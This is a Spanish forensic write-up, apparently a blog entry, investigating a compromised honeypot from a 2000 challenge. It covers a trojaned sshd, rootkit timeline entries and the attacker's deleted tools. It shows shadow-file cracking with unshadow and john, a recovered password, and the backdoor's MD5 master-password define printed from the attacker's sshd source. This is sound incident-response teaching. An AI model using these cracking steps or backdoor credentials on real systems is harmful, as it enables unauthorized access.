# unshadow /reto/mnt/etc/passwd /reto/mnt/etc/shadow >> patata
# john --wordlist=passwd patata

Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [32/32])
guesses: 0  time: 0:00:00:00 100%  c/s: 200  trying: tw1Lightz0ne
Curiosamente la contraseña guardada no pertenece al usuario root del sistema... Bueno dejemos esto apartado y recordemos el MD5 visto con anterioridad en el binario ssh1. Lo que vamos a ver es que contraseña ha podido generar ese MD5. Se me ocurre una cosa barbara y es que la contraseña guardada en el fichero sea la contraseña del atacante y el registro de contraseña no tenga una comprobación para evitar que la propia contraseña del atacante sea registrada... veamos a ver:
# echo "tw1Lightz0ne" | md5sum -
367d375770a5775c4a63d1862e2fceaf  -
No hay suerte. Algo se escapa... mmm claro, el salto de linea que añade el echo:
# echo -n "tw1Lightz0ne" | md5sum
d33e8f1a6397c6d2efd9a2aae748eb02
Bueno, pues al final el hash que hay en el servicio corresponde con el MD5 que está guardado en el fichero, y por tanto, el propio atacante ha dejado el registro de su acceso en el log de registro del sshd modificado. Podemos apuntar el hostname "c871553-b.jffsn1.mo.home.com" como posible origen del atacante.

Para finalizar con el SSH vamos a comprobar si el servicio se arranca en caso de que el sistema se reinicie, para ello buscaremos en los scripts de arranque:
# grep ":initdefault" /reto/mnt/etc/inittab
id:3:initdefault:
# ls -l /reto/mnt/etc/rc.d/rc3.d/
...
lrwxrwxrwx 1 root root 11 Nov  5  2000 S99local -> ../rc.local
No vemos ningún enlace que identifique al SSH, pero si analizamos todos los enlaces del directorio anterior encontramos que al final el enlace dinámico "S99local", el cual apunta al fichero "rc.local", es el encargado de arrancarlo:
# grep -i ssh /reto/mnt/etc/rc.d/rc.local
/usr/local/sbin/sshd1
Una vez finalizado la manera que tiene el atacante de acceder al servidor, vamos a seguir analizando la línea de tiempo:
314 ..c. r/rrw-r--r-- 0 0 16195 /etc/pam.d/ftp
314 ..c. r/rrw-r--r-- 0 0 16195 /etc/pam.d/ftp-RPMDELETE (deleted-realloc)
8928 ..c. r/rrwxr-xr-x 1 1 17487 /bin/ftpcount
8928 ..c. r/rrwxr-xr-x 1 1 17488 /bin/ftpwho
8928 ..c. r/rrwxr-xr-x 1 1 17488 /bin/ftpwho-RPMDELETE (deleted-realloc)
484 ..c. r/rrw------- 0 0 26548 /etc/ftpaccess
456 ..c. r/rrw------- 0 0 26549 /etc/ftpconversions
39 ..c. r/rrw------- 0 0 26550 /etc/ftpgroups 1
04 ..c. r/rrw------- 0 0 26551 /etc/ftphosts
79 ..c. r/rrw------- 0 0 26552 /etc/ftpusers
180703 ..c. r/rrw-r--r-- 1010 100 109865 /man/.Ci/nfs-utils-0.1.9.1-1.i386.rpm (deleted)

Claramente se ha instalado un servidor FTP y un servidor NFS cuyo propósito es la transferencia sencilla de ficheros por parte del atacante. ¿Aunque teniendo el scp para que usar ftp? No pierdo mucho el tiempo en analizar estos servicios. Seguimos con la línea de tiempo:

Wed Nov 08 2000 14:54:25      547 .a.. r/rrw-r--r-- 0        0        26245    /etc/named.conf
                            33392 .a.. r/rrwxr-xr-x 0        0        30251    /bin/cp
                           525412 .a.. r/rrwxr-xr-x 0        0        33119    /local/sbin/named
                                5 mac. r/rrw-r--r-- 0        0        34293    /run/named.pid
                             2769 .a.. r/rrw-r--r-- 0        0        62498    /named/named.ca
                              422 .a.. r/rrw-r--r-- 0        0        62499    /named/named.local
                           525412 mac. r/rrwxr-xr-x 0        0        92809    /sbin/named

Esto es interesante, se ha instalado un servicio de DNS y es crítico puesto que un DNS puede usarse para una multitud de funciones.

Si seguimos analizando la línea de tiempo veremos como el atacante una vez instalado los servicios indicados con anterioridad elimino las fuentes de instalación:

Wed Nov 08 2000 14:56:08 18698240 ..c. r/rrw-r--r-- 1010     100      109791   /man/.Ci/ssh-1.2.27.tar (deleted)
                             4096 m.c. d/drwxr-xr-x 1010     100      109798   /man/.Ci
                             1153 ..c. r/rrwxr-xr-x 1010     100      109801   /man/.Ci/install-sshd1 (deleted)
                             1076 ..c. r/rrwxr-xr-x 1010     100      109802   /man/.Ci/install-sshd (deleted)
                               80 ..c. r/rrwxr-xr-x 1010     100      109803   /man/.Ci/install-named (deleted)
                              106 ..c. r/rrwxr-xr-x 1010     100      109864   /man/.Ci/install-statd (deleted)
                           180703 ..c. r/rrw-r--r-- 1010     100      109865   /man/.Ci/nfs-utils-0.1.9.1-1.i386.rpm (deleted)
                           195637 ..c. r/rrw-r--r-- 1010     100      109866   /man/.Ci/wuftpd.rpm (deleted)
                               71 ..c. r/rrwxr-xr-x 1010     100      109867   /man/.Ci/install-wu (deleted)
Podemos recuperar las herramientas que uso el atacante aprovechando que el sistema de ficheros es Ext2. Recordar que cuando eliminados ficheros en Ext2, a diferencia de Ext3 y Ext4, los "punteros" (enlaces directos e indirectos) del inodo hacia los bloques no se eliminan. Y por tanto somos capaces de sabiendo el inodo del fichero eliminado, recuperar su contenido, siempre y claro está que el contenido no haya sido sobrescrito por otro fichero. Por ejemplo para el demonio de ssh haríamos:
# istat honeypot.hda5.dd 109791
inode: 109791
Not Allocated
Group: 7
Generation Id: 640190586
uid / gid: 1010 / 100
mode: rrw-r--r--
size: 18698240
num of links: 0
Inode Times:
Accessed: Wed Nov  8 15:52:59 2000
File Modified: Wed Aug  9 21:52:37 2000
Inode Modified: Wed Nov  8 15:56:08 2000
Deleted: Wed Nov  8 15:56:08 2000
Direct Blocks:
238256 238257 238258 238259 ...
Esos datos que se muestran la final del "Direct Blocks" es la diferencia con Ext3/4. En Ext3 o 4 no se mostrarían los números de bloques. Recuperemos el fichero y veamos si contiene las modificaciones en el SSHD vistas con anterioridad:
# icat honeypot.hda5.dd 109791 >> /reto/evidencia/ssh-1.2.27.tar
# ls -l /reto/evidencia/ssh-1.2.27.ta
r
-rw-r--r-- 1 root root 18698240 Feb 18 00:16 /reto/evidencia/ssh-1.2.27.tar
# file /reto/evidencia/ssh-1.2.27.tar
/reto/evidencia/ssh-1.2.27.tar: POSIX tar archive (GNU)
# tar xvf /reto/evidencia/ssh-1.2.27.tar
# grep -R "\[ User Login \]" *

ssh-1.2.27/sshd.c: fprintf(fp,"+-[ User Login ]-------------------- --- --- - -\n");
# grep -R "d33e8f1a6397c6d2efd9a2aae748eb02" *
config.h:#define USE_GLOBAL_PASS "d33e8f1a6397c6d2efd9a2aae748eb02"
Volvamos con la línea de tiempo. Las siguientes entradas que me llaman la atención son las que se encargan de modificar binarios del sistema, lógicamente se trata de los binarios modificados para implantar el Rootkit:
Wed Nov 08 2000 14:56:57     4096 .a.. d/drwxr-xr-x 1010     100      109798   /man/.Ci
Wed Nov 08 2000 14:56:59    35168 ..c. r/rrwx------ 0        0        15639    /bin/chage
                            36756 ..c. r/rrwx------ 0        0        15641    /bin/gpasswd
                            33288 ..c. r/rrwx------ 0        0        15827    /bin/at
                           531516 ..c. r/rrwx------ 0        0        16523    /bin/sperl5.00503
                           531516 ..c. r/rrwx------ 0        0        16523    /bin/suidperl
                             5640 ..c. r/rrwx------ 0        0        17453    /bin/newgrp
                             5760 .a.. r/rrwxr-xr-x 0        0        30288    /bin/sleep
                            17968 ..c. r/rrwx------ 0        0        30293    /bin/ping
                            45388 ..c. r/rrwx------ 0        5        48410    /sbin/dump
                            67788 ..c. r/rrwx------ 0        5        48412    /sbin/restore
                            34751 ..c. r/rrwx------ 0        0        76969    /libexec/pt_chown
                             5896 ..c. r/rrwx------ 0        0        93297    /sbin/usernetctl
                            16488 ..c. r/rrwx------ 0        1        93846    /sbin/traceroute
Ya para finalizar vemos algo raro y que no esperaba, el "bash_history" y el home de Drosen se han creado durante los 15 minutos donde se implanto el Rootkit:
Wed Nov 08 2000 14:59:07 4096 m.c. d/drwx------ 500 500 15395 /drosen
                                           52 mac. r/rrw------- 500 500 15401 /drosen/.bash_history
Esto requiere contradecir lo expuesto con anterioridad, es muy posible que el usuario Drosen no sea tan legítimo como habíamos pensado primeramente.Vamos a proceder por ello a un análisis lógico del contenido del sistema de fichero para ver si podemos obtener más información de la intrusión:
# cat /reto/mnt/home/drosen/.bash_history
gunzip *
tar -xvf *
rm tpack*
cd " "
./install
exi
t
Nos hemos dejado algo en el análisis forense. El acceso a un directorio cuyo contenido es el espacio en blanco es una técnica bastante conocido de intentar ocultar información dentro de un directorio (junto con la ". " o ".. "). Vemos que descomprime un fichero, elimina el fichero, accede al directorio en blanco, instala algo y por último cierra la sesión... No es un comportamiento muy normal:
# cat /reto/mnt/etc/passwd | grep drosen | awk -F':' {'print $3'}
500
# find /reto/mnt/home/drosen/ -type f -uid 500 2> /dev/null
(no sale nada interesante)
Veamos a ver si encontramos algo que coincida con tpack:
# find /reto/mnt/ -type f -iname "*tpack*"
(No hay suerte)
Llegado a este punto, podría decir que no se que fichero instalo el usuario :(.

Como análisis superficial del incidente podemos tener una estimación de cuando se hizo, como se hizo, que se implanto en el servidor, como se conectaba el atacante al equipo y como intento el atacante ocultar sus huellas.

Para finalizar la entrada quiero indicar que aunque normalmente se emplea en cualquier análisis forense, debido a la antigüedad de este reto, me ha sido imposible usar uno de mis packs de herramientas favoritas: foremost, sorter, md5depp y hfind. El objetivo de estos es generar una lista blanca a partir de un entorno no comprometido con una configuración similar, lo que nos permitirá eliminar supuestos, y  adicionálmente combinarlo con una lista negra de malware, permitiendo reducir drásticamente los ficheros a tratar.

Espero que os haya gustado. Nos vemos en la próxima entrada. 

Continuar...